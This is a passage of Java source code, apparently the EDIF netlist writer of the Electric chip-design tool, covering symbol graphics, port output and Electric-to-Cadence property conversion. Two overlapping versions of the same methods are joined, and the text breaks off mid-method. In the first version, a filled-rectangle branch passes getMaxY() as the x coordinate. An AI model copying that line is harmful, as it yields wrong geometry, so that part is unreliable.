(e.getEquivalent() == null) return true; return false; } /** * Method to properly identify an instance of a primitive node * for ASPECT netlists */ private String describePrimitive(NodeInst ni, PrimitiveNode.Function fun) { if (fun.isResistor()) /* == PrimitiveNode.Function.RESIST)*/ return "Resistor"; if (fun == PrimitiveNode.Function.TRANPN) return "npn"; if (fun == PrimitiveNode.Function.TRAPNP) return "pnp"; if (fun == PrimitiveNode.Function.TRA4NMOS) return "nfet"; if (fun == PrimitiveNode.Function.TRA4PMOS) return "pfet"; if (fun == PrimitiveNode.Function.SUBSTRATE) return "gtap"; return makeToken(ni.getProto().getName()); } /** * Helper name builder */ private String makeComponentName(Nodable no) { String okname = makeValidName(no.getName()); if (okname.length() > 0) { char chr = okname.charAt(0); if (TextUtils.isDigit(chr) || chr == '_') okname = "&" + okname; } return okname; } /** * Method to return null if there is no valid name in "var", corrected name if valid. */ public static String makeValidName(String name) { StringBuffer iptr = new StringBuffer(name); // allow '&' for the first character (this must be fixed later if digit or '_') int i = 0; if (iptr.charAt(i) == '&') i++; // allow "_" and alphanumeric for others for(; i<iptr.length(); i++) { if (TextUtils.isLetterOrDigit(iptr.charAt(i))) continue; if (iptr.charAt(i) == '_') continue; iptr.setCharAt(i, '_'); } return iptr.toString(); } /** * convert a string token into a valid EDIF string token (note - NOT re-entrant coding) * In order to use NSC program ce2verilog, we need to suppress the '_' which replaces * ']' in bus definitions. */ private String makeToken(String str) { if (str.length() == 0) return str; StringBuffer sb = new StringBuffer(); if (TextUtils.isDigit(str.charAt(0))) sb.append('X'); for(int i=0; i<str.length(); i++) { char chr = str.charAt(i); if (Character.isWhitespace(chr)) break; if (chr == '[') chr = '_'; if (TextUtils.isLetterOrDigit(chr) || chr == '&' || chr == '_') sb.append(chr); } return sb.toString(); } /****************************** GRAPHIC OUTPUT METHODS ******************************/ /** * Method to output all graphic objects of a symbol. */ private void writeSymbol(Cell cell) { if (cell == null) return; if (cell.getView() != View.ICON) cell = cell.iconView(); blockOpen("symbol"); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; for(Iterator it = cell.getPorts(); it.hasNext(); ) { Export e = (Export)it.next(); writePortImplementation(e, true); } egraphic_override = EGUNKNOWN; for(Iterator it = cell.getNodes(); it.hasNext(); ) { NodeInst ni = (NodeInst)it.next(); writeSymbolCell(ni, GenMath.MATID); } for(Iterator it = cell.getArcs(); it.hasNext(); ) { ArcInst ai = (ArcInst)it.next(); writeSymbolArcInst(ai, GenMath.MATID); } // close figure setGraphic(EGUNKNOWN); blockClose("symbol"); } private void writeSymbol(PrimitiveNode pn, NodeInst ni) { if (pn == null) return; blockOpen("symbol"); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; for(Iterator it = pn.getPorts(); it.hasNext(); ) { PortProto e = (PortProto)it.next(); blockOpen("portImplementation"); blockOpen("name"); blockPutIdentifier(makeToken(e.getName())); blockOpen("display"); blockOpen("figureGroupOverride"); blockPutIdentifier(EGWIRE.getText()); blockOpen("textHeight"); blockPutInteger(getTextHeight(null)); blockClose("figureGroupOverride"); Poly portPoly = ni.getShapeOfPort(e); //blockOpen("origin"); //writePoint(portPoly.getCenterX(), portPoly.getCenterY()); blockClose("name"); blockOpen("connectLocation"); writeSymbolPoly(portPoly); // close figure setGraphic(EGUNKNOWN); blockClose("portImplementation"); } egraphic_override = EGUNKNOWN; Poly [] polys = pn.getTechnology().getShapeOfNode(ni); for (int i=0; i<polys.length; i++) { writeSymbolPoly(polys[i]); } // close figure setGraphic(EGUNKNOWN); blockClose("symbol"); } /** * Write a portImplementation node. * @param e * @param closeBlock true to close block, false to leave portImplementation block open */ private void writePortImplementation(Export e, boolean closeBlock) { blockOpen("portImplementation"); blockOpen("name"); blockPutIdentifier(makeToken(e.getName())); blockOpen("display"); blockOpen("figureGroupOverride"); blockPutIdentifier(EGWIRE.getText()); blockOpen("textHeight"); blockPutInteger(getTextHeight(e.getTextDescriptor(Export.EXPORT_NAME_TD))); blockClose("figureGroupOverride"); blockOpen("origin"); Poly namePoly = e.getNamePoly(); writePoint(namePoly.getCenterX(), namePoly.getCenterY()); blockClose("name"); blockOpen("connectLocation"); Poly portPoly = e.getOriginalPort().getPoly(); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; writeSymbolPoly(portPoly); setGraphic(EGUNKNOWN); blockClose("connectLocation"); if (closeBlock) { blockClose("portImplementation"); } } /** * Method to output a specific symbol cell */ private void writeSymbolCell(NodeInst ni, AffineTransform prevtrans) { // make transformation matrix within the current nodeinst if (ni.getAngle() == 0 && !ni.isMirroredAboutXAxis() && !ni.isMirroredAboutYAxis()) { writeSymbolNodeInst(ni, prevtrans); } else { AffineTransform localtran = ni.rotateOut(prevtrans); writeSymbolNodeInst(ni, localtran); } } /** * Method to symbol "ni" when transformed through "prevtrans". */ private void writeSymbolNodeInst(NodeInst ni, AffineTransform prevtrans) { NodeProto np = ni.getProto(); // primitive nodeinst: ask the technology how to draw it if (np instanceof PrimitiveNode) { Technology tech = np.getTechnology(); Poly [] polys = tech.getShapeOfNode(ni); int high = polys.length; // don't draw invisible pins int low = 0; if (np == Generic.tech.invisiblePinNode) low = 1; for (int j = low; j < high; j++) { // get description of this layer Poly poly = polys[j]; // draw the nodeinst poly.transform(prevtrans); // draw the nodeinst and restore the color // check for text ... boolean istext = false; if (poly.getStyle().isText()) { istext = true; // close the current figure ... setGraphic(EGUNKNOWN); blockOpen("annotate"); } writeSymbolPoly(poly); if (istext) blockClose("annotate"); } } else { // transform into the nodeinst for display of its guts Cell subCell = (Cell)np; AffineTransform subrot = ni.translateOut(prevtrans); // see if there are displayable variables on the cell int num = ni.numDisplayableVariables(false); if (num != 0) setGraphic(EGUNKNOWN); Poly [] varPolys = new Poly[num]; ni.addDisplayableVariables(ni.getBounds(), varPolys, 0, null, false); writeDisplayableVariables(varPolys, "NODE_name", prevtrans); // search through cell for(Iterator it = subCell.getNodes(); it.hasNext(); ) { NodeInst sNi = (NodeInst)it.next(); writeSymbolCell(sNi, subrot); } for(Iterator it = subCell.getArcs(); it.hasNext(); ) { ArcInst sAi = (ArcInst)it.next(); writeSymbolArcInst(sAi, subrot); } } } /** * Method to draw an arcinst. Returns indicator of what else needs to * be drawn. Returns negative if display interrupted */ private void writeSymbolArcInst(ArcInst ai, AffineTransform trans) { Technology tech = ai.getProto().getTechnology(); Poly [] polys = tech.getShapeOfArc(ai); // get the endpoints of the arcinst Point2D [] points = new Point2D[2]; points[0] = new Point2D.Double(ai.getTailLocation().getX(), ai.getTailLocation().getY()); points[1] = new Point2D.Double(ai.getHeadLocation().getX(), ai.getHeadLocation().getY()); // translate point if needed points[0] = equivs.translatePortConnection(points[0], ai.getTailPortInst()); points[1] = equivs.translatePortConnection(points[1], ai.getHeadPortInst()); Poly poly = new Poly(points); poly.setStyle(Poly.Type.OPENED); poly.transform(trans); writeSymbolPoly(poly); // now get the variables int num = ai.numDisplayableVariables(false); if (num != 0) setGraphic(EGUNKNOWN); Poly [] varPolys = new Poly[num]; ai.addDisplayableVariables(ai.getBounds(), varPolys, 0, null, false); writeDisplayableVariables(varPolys, "ARC_name", trans); } private void writeDisplayableVariables(Poly [] varPolys, String defaultVarName, AffineTransform prevtrans) { for(int i=0; i<varPolys.length; i++) { Poly varPoly = varPolys[i]; String name = null; Variable var = varPoly.getVariable(); if (var != null) name = var.getTrueName(); else { if (varPoly.getName() != null) name = defaultVarName; } if (name == null) continue; if (prevtrans != null) varPoly.transform(prevtrans); // make sure poly type is some kind of text if (!varPoly.getStyle().isText()) { TextDescriptor td = var.getTextDescriptor(); if (td != null) { Poly.Type style = td.getPos().getPolyType(); varPoly.setStyle(style); } } if (varPoly.getString() == null) varPoly.setString(var.getObject().toString()); blockOpen("property"); blockPutIdentifier(name); blockOpen("string"); writeSymbolPoly(varPoly); blockClose("property"); } } private void setGraphic(EGraphic type) { if (type == EGUNKNOWN) { // terminate the figure if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = EGUNKNOWN; } else if (egraphic_override == EGUNKNOWN) { // normal case if (type != egraphic) { // new egraphic type if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = type; blockOpen("figure"); blockPutIdentifier(egraphic.getText()); } } else if (egraphic != egraphic_override) { // override figure if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = egraphic_override; blockOpen("figure"); blockPutIdentifier(egraphic.getText()); } } /** * Method to write polys into EDIF syntax */ private void writeSymbolPoly(Poly obj) { // now draw the polygon Poly.Type type = obj.getStyle(); Point2D [] points = obj.getPoints(); if (type == Poly.Type.CIRCLE || type == Poly.Type.DISC || type == Poly.Type.THICKCIRCLE) { setGraphic(EGART); double i = points[0].distance(points[1]); blockOpen("circle"); writePoint(points[0].getX() - i, points[0].getY()); writePoint(points[0].getX() + i, points[0].getY()); blockClose("circle"); return; } if (type == Poly.Type.CIRCLEARC || type == Poly.Type.THICKCIRCLEARC) { setGraphic(EGART); // arcs at [i] points [1+i] [2+i] clockwise if (points.length == 0) return; if ((points.length % 3) != 0) return; for (int i = 0; i < points.length; i += 3) { blockOpen("openShape"); blockOpen("curve"); blockOpen("arc"); writePoint(points[i + 1].getX(), points[i + 1].getY()); // calculate a point between the first and second point Point2D si = GenMath.computeArcCenter(points[i], points[i + 1], points[i + 2]); writePoint(si.getX(), si.getY()); writePoint(points[i + 2].getX(), points[i + 2].getY()); blockClose("openShape"); } return; } if (type == Poly.Type.FILLED || type == Poly.Type.CLOSED) { Rectangle2D bounds = obj.getBox(); if (bounds != null) { // simple rectangular box if (bounds.getWidth() == 0 && bounds.getHeight() == 0) { if (egraphic_override == EGUNKNOWN) return; setGraphic(EGART); blockOpen("dot"); writePoint(bounds.getCenterX(), bounds.getCenterY()); blockClose("dot"); } else { setGraphic(EGART); blockOpen("rectangle"); writePoint(bounds.getMinX(), bounds.getMinY()); writePoint(bounds.getMaxY(), bounds.getMaxY()); blockClose("rectangle"); } } else { setGraphic(EGART); blockOpen("path"); blockOpen("pointList"); for (int i = 0; i < points.length; i++) writePoint(points[i].getX(), points[i].getY()); if (points.length > 2) writePoint(points[0].getX(), points[0].getY()); blockClose("path"); } return; } if (type.isText()) { if (CadenceProperties && obj.getVariable() != null) { // Properties in Cadence do not have position info, Cadence // determines position automatically and cannot be altered by user. // There also does not seem to be any way to set the 'display' so // that it shows up on the instance String str = convertElectricPropToCadence(obj.getString()); str = str.replaceAll("\"", "%34%"); blockPutString(str); return; } Rectangle2D bounds = obj.getBounds2D(); setGraphic(EGUNKNOWN); blockOpen("stringDisplay"); String str = obj.getString().replaceAll("\"", "%34%"); blockPutString(str); blockOpen("display"); TextDescriptor td = obj.getTextDescriptor(); if (td != null) { blockOpen("figureGroupOverride"); blockPutIdentifier(EGART.getText()); // output the text height blockOpen("textHeight"); // 2 pixels = 0.0278 in or 36 double pixels per inch double height = getTextHeight(td); blockPutInteger(height); blockClose("figureGroupOverride"); } else { blockPutIdentifier(EGART.getText()); } if (type == Poly.Type.TEXTCENT) blockPut("justify", "CENTERCENTER"); else if (type == Poly.Type.TEXTTOP) blockPut("justify", "LOWERCENTER"); else if (type == Poly.Type.TEXTBOT) blockPut("justify", "UPPERCENTER"); else if (type == Poly.Type.TEXTLEFT) blockPut("justify", "CENTERRIGHT"); else if (type == Poly.Type.TEXTRIGHT) blockPut("justify", "CENTERLEFT"); else if (type == Poly.Type.TEXTTOPLEFT) blockPut("justify", "LOWERRIGHT"); else if (type == Poly.Type.TEXTBOTLEFT) blockPut("justify", "UPPERRIGHT"); else if (type == Poly.Type.TEXTTOPRIGHT) blockPut("justify", "LOWERLEFT"); else if (type == Poly.Type.TEXTBOTRIGHT) blockPut("justify", "UPPERLEFT"); blockPut("orientation", "R0"); blockOpen("origin"); writePoint(bounds.getMinX(), bounds.getMinY()); blockClose("stringDisplay"); return; } if (type == Poly.Type.OPENED || type == Poly.Type.OPENEDT1 || type == Poly.Type.OPENEDT2 || type == Poly.Type.OPENEDT3) { // check for closed 4 sided figure if (points.length == 5 && points[4].getX() == points[0].getX() && points[4].getY() == points[0].getY()) { Rectangle2D bounds = obj.getBox(); if (bounds != null) { // simple rectangular box if (bounds.getWidth() == 0 && bounds.getHeight() == 0) { if (egraphic_override == EGUNKNOWN) return; setGraphic(EGART); blockOpen("dot"); writePoint(bounds.getCenterX(), bounds.getCenterY()); blockClose("dot"); } else { setGraphic(EGART); blockOpen("rectangle"); writePoint(bounds.getMinX(), bounds.getMinY()); writePoint(bounds.getMaxX(), bounds.getMaxY()); blockClose("rectangle"); } return; } } setGraphic(EGART); blockOpen("path"); blockOpen("pointList"); for (int i = 0; i < points.length; i++) writePoint(points[i].getX(), points[i].getY()); blockClose("path"); return; } if (type == Poly.Type.VECTORS) { setGraphic(EGART); for (int i = 0; i < points.length; i += 2) { blockOpen("path"); blockOpen("pointList"); writePoint(points[i].getX(), points[i].getY()); writePoint(points[i + 1].getX(), points[i + 1].getY()); blockClose("path"); } return; } } private void writeFigureGroup(EGraphic graphic) { blockOpen("figureGroup"); blockPutIdentifier(graphic.getText()); blockClose("figureGroup"); } private void writeScale(Technology tech) { //double meters_to_lambda = TextUtils.convertDistance(1, tech, TextUtils.UnitScale.NONE); blockOpen("scale"); blockPutInteger(160); blockPutDouble(0.0254); blockPut("unit", "DISTANCE"); blockClose("scale"); } private double getTextHeight(TextDescriptor td) { double size = 2; // default if (td != null) { size = td.getSize().getSize(); if (!td.getSize().isAbsolute()) { size = size * 2; } } // 2 pixels = 0.0278 in or 36 double pixels per inch double height = size * 10 / 36; return scaleValue(height); } private static final Pattern atPat = Pattern.compile("@(\\w+)"); private static final Pattern pPat = Pattern.compile("(P|PAR)\\(\"(\\w+)\"\\)"); /** * Convert a property in Electric, with parameter passing, to * Cadence parameter passing syntax * @param prop the expression * @return an equivalent expression in Cadence */ public static String convertElectricPropToCadence(String prop) { StringBuffer sb = new StringBuffer(); Matcher atMat = atPat.matcher(prop); while (atMat.find()) { atMat.appendReplacement(sb, "P(\""+atMat.group(1)+"\")"); } atMat.appendTail(sb); prop = sb.toString(); sb = new StringBuffer(); Matcher pMat = pPat.matcher(prop); while (pMat.find()) { String c = "+"; // default if (pMat.group(1).equals("PAR")) c = "@"; pMat.appendReplacement(sb, "["+c+pMat.group(2)+"]"); } pMat.appendTail(sb); return sb.toString(); } private static final Pattern pparPat = Pattern.compile("(pPar|iPar|atPar|dotPar|_Par)\\(\"(\\w+)\"\\)"); private static final Pattern bPat = Pattern.compile("\\[([~+.@])(\\w+)\\]"); /** * Convert a property in Cadence, with parameter passing, to * Electric parameter passing syntax * @param prop the expression * @return an equivalent expression in Electric */ public static String convertCadencePropToElectric(String prop) { String origProp = prop; StringBuffer sb = new StringBuffer(); Matcher atMat = bPat.matcher(prop); while (atMat.find()) { String call = "pPar"; if (atMat.group(1).equals("+")) call = "pPar"; else if (atMat.group(1).equals("@")) call = "atPar"; else { System.out.println("Warning converting properties: Electric does not support \"["+atMat.group(1)+"param], using [+param] instead, in "+origProp); } //if (atMat.group(1).equals("~")) call = "iPar"; //if (atMat.group(1).equals(".")) call = "dotPar"; atMat.appendReplacement(sb, call+"(\""+atMat.group(2)+"\")"); } atMat.appendTail(sb); prop = sb.toString(); sb = new StringBuffer(); Matcher pMat = pparPat.matcher(prop); while (pMat.find()) { String c = "P"; // default if (pMat.group(1).equals("pPar")) c = "P"; else if (pMat.group(1).equals("atPar")) c = "PAR"; else { System.out.println("Warning converting properties: Electric does not support \"["+pMat.group(1)+"param], using pPar instead, in "+origProp); } pMat.appendReplacement(sb, c+"(\""+pMat.group(2)+"\")"); } pMat.appendTail(sb); return sb.toString(); } /****************************** LOW-LEVEL BLOCK OUTPUT METHODS ******************************/ /** * Will open a new keyword block, will indent the new block * depending on depth of the keyword */ private void blockOpen(String keyword) { blockOpen(keyword, true); } /** * Will open a new keyword block, will indent the new block * depending on depth of the keyword */ private void blockOpen(String keyword, boolean startOnNewLine) { if (blkstack_ptr > 0 && startOnNewLine) printWriter.print("\n"); // output the new block blkstack[blkstack_ptr++] = keyword; // output the keyword String blanks = startOnNewLine ? getBlanks(blkstack_ptr-1) : " "; printWriter.print(blanks + "( " + keyword); } /** * Will output a one identifier block */ private void blockPut(String keyword, String identifier) { // output the new block if (blkstack_ptr != 0) printWriter.print("\n"); // output the keyword printWriter.print(getBlanks(blkstack_ptr) + "( " + keyword + " " + identifier + " )"); } /** * Will output a string identifier to the file */ private void blockPutIdentifier(String str) { printWriter.print(" " + str); } /** * Will output a quoted string to the file */ private void blockPutString(String str) { printWriter.print(" \"" + str + "\""); } /** * Will output an integer to the edif file */ private void blockPutInteger(double val) { printWriter.print(" " + TextUtils.formatDouble(val)); } /** * Will output a floating value to the edif file */ private static DecimalFormat decimalFormatScientific = null; private void blockPutDouble(double val) { if (decimalFormatScientific == null) { decimalFormatScientific = new DecimalFormat("########E0"); decimalFormatScientific.setGroupingUsed(false); } String ret = decimalFormatScientific.format(val).replace('E', ' '); ret = ret.replaceAll("\\.[0-9]+", ""); printWriter.print(" ( e " + ret + " )"); } private void blockClose(String keyword) { if (blkstack_ptr == 0) return; int depth = 1; if (keyword != null) { // scan for this saved keyword for (depth = 1; depth <= blkstack_ptr; depth++) { if (blkstack[blkstack_ptr - depth].equals(keyword)) break; } if (depth > blkstack_ptr) { System.out.println("EDIF output: could not match keyword <" + keyword + ">"); return; } } // now terminate and free keyword list do { blkstack_ptr--; printWriter.print(" )"); } while ((--depth) > 0); } /** * Method to terminate all currently open blocks. */ private void blockFinish() { if (blkstack_ptr > 0) { blockClose(blkstack[0]); } printWriter.print("\n"); } private int blkstack_ptr; private String [] blkstack = new String[50]; private String getBlanks(int num) { StringBuffer sb = new StringBuffer(); for(int i=0; i<num; i++) sb.append(' '); return sb.toString(); } /****************************** SUBCLASSED METHODS FOR THE TOPOLOGY ANALYZER ******************************/ /** * Method to adjust a cell name to be safe for EDIF output. * @param name the cell name. * @return the name, adjusted for EDIF output. */ protected String getSafeCellName(String name) { return name; } /** Method to return the proper name of Power */ protected String getPowerName(Network net) { return "VDD"; } /** Method to return the proper name of Ground */ protected String getGroundName(Network net) { return "GND"; } /** Method to return the proper name of a Global signal */ protected String getGlobalName(Global glob) { return glob.getName(); } /** Method to report that export names DO take precedence over * arc names when determining the name of the network. */ protected boolean isNetworksUseExportedNames() { return true; } /** Method to report that library names ARE always prepended to cell names. */ protected boolean isLibraryNameAlwaysAddedToCellName() { return false; } /** Method to report that aggregate names (busses) ARE used. */ protected boolean isAggregateNamesSupported() { return true; } /** Method to report whether input and output names are separated. */ protected boolean isSeparateInputAndOutput() { return true; } /** * Method to adjust a network name to be safe for EDIF output. */ protected String getSafeNetName(String name, boolean bus) { return name; } /** Tell the Hierarchy enumerator whether or not to short parasitic resistors */ protected boolean isShortResistors() { return false; } /** Tell the Hierarchy enumerator whether or not to short explicit (poly) resistors */ protected boolean isShortExplicitResistors() { return false; } /** * Method to tell whether the topological analysis should mangle cell names that are parameterized. */ protected boolean canParameterizeNames() { return false; } }
private void writeAllPrims(Cell cell, HashMap primsFound) { // do not search this cell if it is an icon if (cell.isIcon()) return; for(Iterator it = cell.getNodes(); it.hasNext(); ) { NodeInst ni = (NodeInst)it.next(); NodeProto np = ni.getProto(); if (np instanceof PrimitiveNode) { if (equivs.getNodeEquivalence(ni) != null) continue; // will be defined by external reference PrimitiveNode pn = (PrimitiveNode)np; PrimitiveNode.Function fun = pn.getTechnology().getPrimitiveFunction(pn, ni.getTechSpecific()); //PrimitiveNode.Function fun = ni.getFunction(); int i = 1; if (fun == PrimitiveNode.Function.GATEAND || fun == PrimitiveNode.Function.GATEOR || fun == PrimitiveNode.Function.GATEXOR) { // count the number of inputs for(Iterator cIt = ni.getConnections(); cIt.hasNext(); ) { Connection con = (Connection)cIt.next(); if (con.getPortInst().getPortProto().getName().equals("a")) i++; } } if (primsFound.get(getPrimKey(ni, i)) != null) continue; // already written /* if (fun != PrimitiveNode.Function.UNKNOWN && fun != PrimitiveNode.Function.PIN && fun != PrimitiveNode.Function.CONTACT && fun != PrimitiveNode.Function.NODE && fun != PrimitiveNode.Function.CONNECT && fun != PrimitiveNode.Function.METER && fun != PrimitiveNode.Function.CONPOWER && fun != PrimitiveNode.Function.CONGROUND && fun != PrimitiveNode.Function.SOURCE && fun != PrimitiveNode.Function.SUBSTRATE && fun != PrimitiveNode.Function.WELL && fun != PrimitiveNode.Function.ART) { */ if (fun == PrimitiveNode.Function.UNKNOWN || fun == PrimitiveNode.Function.PIN || fun == PrimitiveNode.Function.ART) continue; writePrimitive(pn, i, fun); primsFound.put(getPrimKey(ni, i), pn); continue; } // ignore recursive references (showing icon in contents) if (ni.isIconOfParent()) continue; // get actual subcell (including contents/body distinction) Cell oNp = ((Cell)np).contentsView(); if (oNp == null) oNp = (Cell)np; // search the subcell writeAllPrims(oNp, primsFound); } } private Object getPrimKey(NodeInst ni, int i) { NodeProto np = ni.getProto(); if (!(np instanceof PrimitiveNode)) return null; PrimitiveNode pn = (PrimitiveNode)np; PrimitiveNode.Function func = pn.getTechnology().getPrimitiveFunction(pn, ni.getTechSpecific()); String key = pn.getTechnology().getTechShortName() + "_" + np.getName() + "_" + func.getConstantName() + "_" +i; return key; } /** * Method to generate a pt symbol (pt x y) */ private void writePoint(double x, double y) { blockOpen("pt"); blockPutInteger(scaleValue(x)); blockPutInteger(scaleValue(y)); blockClose("pt"); } /** * Method to map Electric orientations to EDIF orientations */ public static String getOrientation(NodeInst ni, int addedRotation) { String orientation = "ERROR"; int angle = (ni.getAngle() - addedRotation); if (angle < 0) angle = angle + 3600; if (angle > 3600) angle = angle % 3600; switch (angle) { case 0: orientation = ""; break; case 900: orientation = "R90"; break; case 1800: orientation = "R180"; break; case 2700: orientation = "R270"; break; } if (ni.isMirroredAboutXAxis()) orientation = "MX" + orientation; if (ni.isMirroredAboutYAxis()) orientation = "MY" + orientation; if (orientation.length() == 0) orientation = "R0"; if (orientation.equals("MXR180")) orientation = "MY"; if (orientation.equals("MYR180")) orientation = "MX"; if (orientation.equals("MXR270")) orientation = "MYR90"; if (orientation.equals("MYR270")) orientation = "MXR90"; return orientation; } /** * Method to scale the requested integer * returns the scaled value */ private double scaleValue(double val) { return (int)(val*scale); } /** * Establish whether port 'e' is a global port or not */ private boolean isGlobalExport(Export e) { // pp is a global port if it is marked global if (e.isBodyOnly()) return true; // or if it does not exist on the icon Cell parent = (Cell)e.getParent(); Cell inp = parent.iconView(); if (inp == null) return false; if (e.getEquivalent() == null) return true; return false; } /** * Method to properly identify an instance of a primitive node * for ASPECT netlists */ private String describePrimitive(NodeInst ni, PrimitiveNode.Function fun) { if (fun.isResistor()) /* == PrimitiveNode.Function.RESIST)*/ return "Resistor"; if (fun == PrimitiveNode.Function.TRANPN) return "npn"; if (fun == PrimitiveNode.Function.TRAPNP) return "pnp"; if (fun == PrimitiveNode.Function.TRA4NMOS) return "nfet"; if (fun == PrimitiveNode.Function.TRA4PMOS) return "pfet"; if (fun == PrimitiveNode.Function.SUBSTRATE) return "gtap"; return makeToken(ni.getProto().getName()); } /** * Helper name builder */ private String makeComponentName(Nodable no) { String okname = makeValidName(no.getName()); if (okname.length() > 0) { char chr = okname.charAt(0); if (TextUtils.isDigit(chr) || chr == '_') okname = "&" + okname; } return okname; } /** * Method to return null if there is no valid name in "var", corrected name if valid. */ public static String makeValidName(String name) { StringBuffer iptr = new StringBuffer(name); // allow '&' for the first character (this must be fixed later if digit or '_') int i = 0; if (iptr.charAt(i) == '&') i++; // allow "_" and alphanumeric for others for(; i<iptr.length(); i++) { if (TextUtils.isLetterOrDigit(iptr.charAt(i))) continue; if (iptr.charAt(i) == '_') continue; iptr.setCharAt(i, '_'); } return iptr.toString(); } /** * convert a string token into a valid EDIF string token (note - NOT re-entrant coding) * In order to use NSC program ce2verilog, we need to suppress the '_' which replaces * ']' in bus definitions. */ private String makeToken(String str) { if (str.length() == 0) return str; StringBuffer sb = new StringBuffer(); if (TextUtils.isDigit(str.charAt(0))) sb.append('X'); for(int i=0; i<str.length(); i++) { char chr = str.charAt(i); if (Character.isWhitespace(chr)) break; if (chr == '[') chr = '_'; if (TextUtils.isLetterOrDigit(chr) || chr == '&' || chr == '_') sb.append(chr); } return sb.toString(); } /****************************** GRAPHIC OUTPUT METHODS ******************************/ /** * Method to output all graphic objects of a symbol. */ private void writeSymbol(Cell cell) { if (cell == null) return; if (cell.getView() != View.ICON) cell = cell.iconView(); if (cell == null) return; blockOpen("symbol"); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; for(Iterator it = cell.getPorts(); it.hasNext(); ) { Export e = (Export)it.next(); writePortImplementation(e, true); } egraphic_override = EGUNKNOWN; for(Iterator it = cell.getNodes(); it.hasNext(); ) { NodeInst ni = (NodeInst)it.next(); writeSymbolCell(ni, GenMath.MATID); } for(Iterator it = cell.getArcs(); it.hasNext(); ) { ArcInst ai = (ArcInst)it.next(); writeSymbolArcInst(ai, GenMath.MATID); } // close figure setGraphic(EGUNKNOWN); blockClose("symbol"); } private void writeSymbol(PrimitiveNode pn, NodeInst ni) { if (pn == null) return; blockOpen("symbol"); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; for(Iterator it = pn.getPorts(); it.hasNext(); ) { PortProto e = (PortProto)it.next(); blockOpen("portImplementation"); blockOpen("name"); blockPutIdentifier(makeToken(e.getName())); blockOpen("display"); blockOpen("figureGroupOverride"); blockPutIdentifier(EGWIRE.getText()); blockOpen("textHeight"); blockPutInteger(getTextHeight(null)); blockClose("figureGroupOverride"); Poly portPoly = ni.getShapeOfPort(e); //blockOpen("origin"); //writePoint(portPoly.getCenterX(), portPoly.getCenterY()); blockClose("name"); blockOpen("connectLocation"); writeSymbolPoly(portPoly); // close figure setGraphic(EGUNKNOWN); blockClose("portImplementation"); } egraphic_override = EGUNKNOWN; Poly [] polys = pn.getTechnology().getShapeOfNode(ni); for (int i=0; i<polys.length; i++) { writeSymbolPoly(polys[i]); } // close figure setGraphic(EGUNKNOWN); blockClose("symbol"); } /** * Write a portImplementation node. * @param e * @param closeBlock true to close block, false to leave portImplementation block open */ private void writePortImplementation(Export e, boolean closeBlock) { blockOpen("portImplementation"); blockOpen("name"); blockPutIdentifier(makeToken(e.getName())); blockOpen("display"); blockOpen("figureGroupOverride"); blockPutIdentifier(EGWIRE.getText()); blockOpen("textHeight"); blockPutInteger(getTextHeight(e.getTextDescriptor(Export.EXPORT_NAME_TD))); blockClose("figureGroupOverride"); blockOpen("origin"); Poly namePoly = e.getNamePoly(); writePoint(namePoly.getCenterX(), namePoly.getCenterY()); blockClose("name"); blockOpen("connectLocation"); Poly portPoly = e.getOriginalPort().getPoly(); egraphic_override = EGWIRE; egraphic = EGUNKNOWN; writeSymbolPoly(portPoly); setGraphic(EGUNKNOWN); blockClose("connectLocation"); if (closeBlock) { blockClose("portImplementation"); } } /** * Method to output a specific symbol cell */ private void writeSymbolCell(NodeInst ni, AffineTransform prevtrans) { // make transformation matrix within the current nodeinst if (ni.getAngle() == 0 && !ni.isMirroredAboutXAxis() && !ni.isMirroredAboutYAxis()) { writeSymbolNodeInst(ni, prevtrans); } else { AffineTransform localtran = ni.rotateOut(prevtrans); writeSymbolNodeInst(ni, localtran); } } /** * Method to symbol "ni" when transformed through "prevtrans". */ private void writeSymbolNodeInst(NodeInst ni, AffineTransform prevtrans) { NodeProto np = ni.getProto(); // primitive nodeinst: ask the technology how to draw it if (np instanceof PrimitiveNode) { Technology tech = np.getTechnology(); Poly [] polys = tech.getShapeOfNode(ni); int high = polys.length; // don't draw invisible pins int low = 0; if (np == Generic.tech.invisiblePinNode) low = 1; for (int j = low; j < high; j++) { // get description of this layer Poly poly = polys[j]; // draw the nodeinst poly.transform(prevtrans); // draw the nodeinst and restore the color // check for text ... boolean istext = false; if (poly.getStyle().isText()) { istext = true; // close the current figure ... setGraphic(EGUNKNOWN); blockOpen("annotate"); } writeSymbolPoly(poly); if (istext) blockClose("annotate"); } } else { // transform into the nodeinst for display of its guts Cell subCell = (Cell)np; AffineTransform subrot = ni.translateOut(prevtrans); // see if there are displayable variables on the cell int num = ni.numDisplayableVariables(false); if (num != 0) setGraphic(EGUNKNOWN); Poly [] varPolys = new Poly[num]; ni.addDisplayableVariables(ni.getBounds(), varPolys, 0, null, false); writeDisplayableVariables(varPolys, "NODE_name", prevtrans); // search through cell for(Iterator it = subCell.getNodes(); it.hasNext(); ) { NodeInst sNi = (NodeInst)it.next(); writeSymbolCell(sNi, subrot); } for(Iterator it = subCell.getArcs(); it.hasNext(); ) { ArcInst sAi = (ArcInst)it.next(); writeSymbolArcInst(sAi, subrot); } } } /** * Method to draw an arcinst. Returns indicator of what else needs to * be drawn. Returns negative if display interrupted */ private void writeSymbolArcInst(ArcInst ai, AffineTransform trans) { Technology tech = ai.getProto().getTechnology(); Poly [] polys = tech.getShapeOfArc(ai); // get the endpoints of the arcinst Point2D [] points = new Point2D[2]; points[0] = new Point2D.Double(ai.getTailLocation().getX(), ai.getTailLocation().getY()); points[1] = new Point2D.Double(ai.getHeadLocation().getX(), ai.getHeadLocation().getY()); // translate point if needed points[0] = equivs.translatePortConnection(points[0], ai.getTailPortInst()); points[1] = equivs.translatePortConnection(points[1], ai.getHeadPortInst()); Poly poly = new Poly(points); poly.setStyle(Poly.Type.OPENED); poly.transform(trans); writeSymbolPoly(poly); // now get the variables int num = ai.numDisplayableVariables(false); if (num != 0) setGraphic(EGUNKNOWN); Poly [] varPolys = new Poly[num]; ai.addDisplayableVariables(ai.getBounds(), varPolys, 0, null, false); writeDisplayableVariables(varPolys, "ARC_name", trans); } private void writeDisplayableVariables(Poly [] varPolys, String defaultVarName, AffineTransform prevtrans) { for(int i=0; i<varPolys.length; i++) { Poly varPoly = varPolys[i]; 